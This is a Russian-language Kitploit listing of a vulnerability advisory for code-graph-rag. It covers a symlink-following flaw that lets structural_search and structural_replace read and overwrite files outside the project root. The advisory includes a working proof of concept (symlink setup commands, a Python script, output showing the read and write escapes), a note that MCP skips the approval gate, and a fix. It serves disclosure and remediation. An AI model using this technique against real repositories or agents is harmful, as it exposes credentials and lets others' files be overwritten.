Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
code-graph-rag-PoC — PoC — переход по символическим ссылкам для произвольного чтения/записи файлов за пределами корня проекта в code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1). | Kitploit
Инструменты/GitHubGitHub/squeeze440/code-graph-rag-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubsqueeze440/code-graph-rag-poc

code-graph-rag-PoC

PoC — переход по символическим ссылкам для произвольного чтения/записи файлов за пределами корня проекта в code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1).

Репозиторий
7 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

code-graph-rag: уведомление о безопасности

Статус CVE: запрошен, ожидает присвоения. Эта находка опубликована как GHSA-85gg-2gfq-q95m. После присвоения CVE этот репозиторий будет переименован в CVE-YYYY-NNNNN-code-graph-rag-PoC, а этот баннер заменён ссылкой на CVE.

ИсследовательDostxodjayev Abdullox (@squeeze440)
УведомлениеGHSA-85gg-2gfq-q95m
CVSS 3.17.1 (High)
СлабостьCWE-59, CWE-22

Краткое описание

Удалённый/локальный атакующий, способный добиться включения символической ссылки в репозиторий с исходным кодом, который анализируется code-graph-rag, может заставить инструменты structural_search и structural_replace (основанные на AstGrepService, доступные как через MCP-инструменты, так и через агентные AI-инструменты) читать и — через structural_replace с dry_run=False — перезаписывать произвольные файлы за пределами настроенного корня проекта, поскольку проверка нахождения пути внутри проекта (should_skip_path/_classify_file) выполняется лексически по неразрешённому пути и никогда не проверяет Path.is_symlink() и не вызывает .resolve(), в отличие от собственного (корректного) декоратора validate_project_path, используемого в других местах проекта.

Продукт

vitali87/code-graph-rag (PyPI: code-graph-rag, CLI: cgr)

Протестированная версия

Коммит 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (версия в pyproject 0.0.550) — текущая ветка main на момент тестирования. Подтверждено, что этот коммит уже содержит исправление для предыдущего уведомления (GHSA-vvr2-h2jp-838m: обход пути в пагинированном read_file) и более новый шлюз bearer-аутентификации HTTP-MCP (_validate_http_exposure в codebase_rag/mcp/server.py), так что это отдельная, всё ещё открытая проблема поверх тех исправлений.

Оценка CVSS v3.1

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (High)

Неочевидные метрики:

  • AV:L — уязвимость эксплуатируется исключительно через основное локальное/CLI/stdio-MCP использование инструмента (анализ репозитория, содержащего подложенную символическую ссылку); она не зависит от опционального, теперь защищённого bearer-токеном транспорта HTTP MCP, поэтому базовый вектор оценивается по всегда присутствующей локальной поверхности, а не исходя из предположения об удалённом развёртывании.
  • UI:R — атакующий предоставляет вредоносный репозиторий (символическую ссылку), но отдельная сторона (пользователь или AI-агент, действующий от его имени) должна фактически запустить structural_search/structural_replace против этого проекта, чтобы сработали чтение/запись.
  • A:N — была продемонстрирована произвольная перезапись содержимого файла; цепочка краха/системного DoS продемонстрирована не была, поэтому Availability оценивается консервативно как None, а не предполагается.

Детали

AstGrepService (codebase_rag/tools/ast_grep_service.py) обеспечивает работу как MCP/агентных инструментов structural_search, так и structural_replace. Он перечисляет файлы-кандидаты с помощью os.walk() и пропускает каждый путь только через should_skip_path():

  • codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — обходит self.project_root с помощью os.walk(); каждый не-каталожный элемент dirent, возвращаемый os.walk (включая символическую ссылку, указывающую куда угодно на диске), рассматривается как файл в области видимости.
  • codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — единственная проверка нахождения внутри проекта — это should_skip_path(...), за которой следует abs_path.relative_to(self.project_root) (строка 82); abs_path никогда не разрешается, поэтому эта проверка чисто лексическая/строковая.
  • codebase_rag/utils/path_utils.py:80-109 (should_skip_path) и codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — вычисляет rel_path = file_path.relative_to(repo_path), никогда не вызывая .resolve() или Path.is_symlink(). Ничто в этой функции не обрабатывает символическую ссылку иначе, чем реальный файл.
  • Точка чтения: codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) вызывает path.read_text(), и Python следует по символической ссылке к её реальной цели, где бы эта цель ни находилась.
  • Точка записи: codebase_rag/tools/ast_grep_service.py:187-208 (replace), в частности строка 208 — abs_path.write_text(new_source, ...) при dry_run=False, снова следуя по символической ссылке и перезаписывая содержимое реального целевого файла.

Это не согласуется с тем, как остальная часть кодовой базы обрабатывает точно такой же класс риска. Инструменты чтения/записи/редактирования файлов (file_reader.py, file_writer.py, file_editor.py) все защищены validate_project_path (codebase_rag/decorators.py:73-75):

root@kitploit:~
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)

.resolve() следует по символическим ссылкам до выполнения проверки нахождения внутри проекта, поэтому эти инструменты корректно отклоняют цель за пределами корня. Собственная функция absolute_path_within_project_root() из path_utils.py (codebase_rag/utils/path_utils.py:156-176) явно документирует тот же принцип в своём docstring: "Вызовы resolve() несут ключевую нагрузку: нахождение внутри проекта проверяется лексически, поэтому неразрешённый сегмент .. или символическая ссылка выйдут за пределы корня." — но should_skip_path()/AstGrepService, используемые structural_search/structural_replace, никогда не применяют этот шаблон.

Достижимость / экспозиция двух инструментов:

  • structural_search (codebase_rag/tools/structural_search.py:24-46) вообще не имеет флага requires_approval — модель MCP-клиента может вызывать его автономно без подтверждения человеком.
  • structural_replace (codebase_rag/tools/structural_editor.py:52-57) помечен requires_approval=True, но этот флаг применяется только собственным циклом агента pydantic-ai. Путь MCP-сервера полностью его обходит: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) напрямую вызывает self._structural_editor_tool.function(...), а MCP-инструмент регистрируется без какого-либо понятия одобрения в codebase_rag/mcp/tools.py:369-388 (ToolMetadata для MCPToolName.STRUCTURAL_REPLACE) — любой MCP-клиент, способный вызывать инструменты, может вызвать structural_replace с dry_run=False одним выстрелом.

Доказательство концепции

Динамически подтверждено на установленном пакете (mgclient/pymgclient замокированы точно так же, как в PoC предыдущего уведомления, поскольку нативный клиент Memgraph для этого пути кода не нужен).

root@kitploit:~
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
root@kitploit:~
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

Фактический вывод запуска (/tmp/poc_venv, пакет установлен через pip install --no-deps -e . из протестированного коммита):

root@kitploit:~
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2

[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"

def get_token():
    return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
    (/tmp/poc_symlink/safe-project-root) was modified by structural_replace
    via a symlink placed inside the root.

Скриншотов нет — это чисто библиотечная/CLI-находка без компонента браузера/GUI.

Влияние

Любой оператор, который направляет cgr (CLI, агентный режим ask_agent или MCP-инструменты structural_search/structural_replace) на репозиторий, который он не полностью проверил — именно тот сценарий использования, для которого создан этот инструмент ("запрашивать, понимать и редактировать многоязычные кодовые базы") — может столкнуться с тем, что подложенная в этот репозиторий символическая ссылка будет использована для:

  • Раскрытия содержимого любого файла, читаемого процессом cgr (учётные данные, SSH-ключи, файлы .env, исходный код соседнего проекта), через structural_search, вообще без шлюза одобрения.
  • Перезаписи содержимого любого файла, записываемого процессом cgr, через structural_replace(dry_run=False), обходя собственный шлюз одобрения инструмента при вызове через протокол MCP.

Это тот же класс ошибок "вредоносное содержимое в анализируемой кодовой базе выходит за пределы project_root", что и GHSA-vvr2-h2jp-838m, но с другой первопричиной (отсутствие разрешения символических ссылок в AstGrepService/should_skip_path, CWE-59) и другой, более серьёзной точкой воздействия (произвольная запись, а не только чтение) в другом компоненте (codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py, а не пагинированный read_file из codebase_rag/mcp/tools.py). Это не пересекается с уязвимыми диапазонами строк или исправлением предыдущего уведомления.

Слабости

  • CWE-59: Improper Link Resolution Before File Access ('Link Following') — основная первопричина.
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') — результирующий выход за пределы корня проекта.

Исправление

Примените тот же шаблон "сначала resolve, затем проверка нахождения внутри проекта", уже используемый validate_project_path (codebase_rag/decorators.py:73-75) и absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176), к should_skip_path. Отклоняйте любой путь, чьё разрешённое (с учётом символических ссылок) местоположение выходит за пределы разрешённого корня проекта, вместо проверки только неразрешённой строки пути:

root@kitploit:~
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Reject symlinks (or any path) that resolve outside the project root,
+    # mirroring validate_project_path's decorator (decorators.py:73-75) and
+    # absolute_path_within_project_root (this module, below).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)

Конкретно: это одно изменение в should_skip_path исправляет как _classify_file (search), так и фильтрацию os.walk в _iter_source_files (replace), поскольку оба проходят через неё. В качестве эшелонированной защиты _iter_source_files мог бы дополнительно пропускать символические ссылки в dirent напрямую (entry.is_symlink()) во время os.walk, поскольку управляемому AI инструменту анализа кода в принципе не должно требоваться выходить за пределы индексируемого корня.

Благодарность

Dostxodjayev Abdullox (GitHub: squeeze440)

Канал сообщения об уязвимости

Private Vulnerability Reporting (PVR) подтверждённо включён на vitali87/code-graph-rag; этот отчёт предназначен для отправки через этот канал (GitHub Security Advisories), в соответствии с уже опубликованным уведомлением репозитория (GHSA-vvr2-h2jp-838m).

Скачать инструмент